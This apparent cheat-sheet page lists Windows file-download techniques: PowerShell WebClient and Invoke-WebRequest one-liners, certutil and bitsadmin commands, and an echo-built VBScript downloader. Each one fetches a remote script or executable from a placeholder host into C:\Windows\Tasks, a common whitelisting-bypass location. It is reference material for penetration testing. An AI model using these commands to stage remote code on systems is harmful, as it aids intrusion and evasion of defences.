Skip to main content

Windows File Downloads

PowerShell

.NET Reflection

[System.Net.WebClient]::new().DownLoadFile('http://somesite.com/file.txt', 'C:\Windows\Tasks\file.txt')

Newer version of PS (v5+) that support calling the ::new() constructor

(New-Object System.Net.WebClient).DownLoadFile('http://somesite.com/file.txt', 'C:\Windows\Tasks\file.txt')

Older versions of PS (wider compatibility)

Invoke-WebRequest

Invoke-WebRequest http://domain.tld/script.ps1 -OutFile C:\Windows\Tasks\script.ps1

Standard usage of Inovke-WebRequest to download a PowerShell script from a remote server

(iwr -useb http://domain.tld/script.ps1).RawContent | Out-File C:\Windows\Tasks\script.ps1 -Encoding UTF8

Using the iwr alias and piping the byte stream from .RawContent of the web request to Out-File

-join[char[]]((iwr -useb http://domain.tld/script.ps1).Content > C:\Windows\Tasks\script.ps1

Using the iwr alias and sending the content body of the remote .ps1 script to a local file

Binaries

certutil -urlcache -split -f http://domain.tld/file.exe C:\Windows\Tasks\file.exe

certutil.exe

 bitsadmin.exe /transfer job /download /priority high http://domain.tld/file.exe C:\Windows\Tasks\file.exe

bitsadmin.exe

curl.exe -s http://domain.tld/file.exe -o file.exe

curl.exe (not available in many default Windows installations)

VBS and CScript

echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET", strURL, False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs

Part 1: VBScript -- wget.vbs

cscript /nologo wget.vbs http://domain.tld/file.exe C:\Windows\Tasks\file.exe

Part 2: Invoke with cscript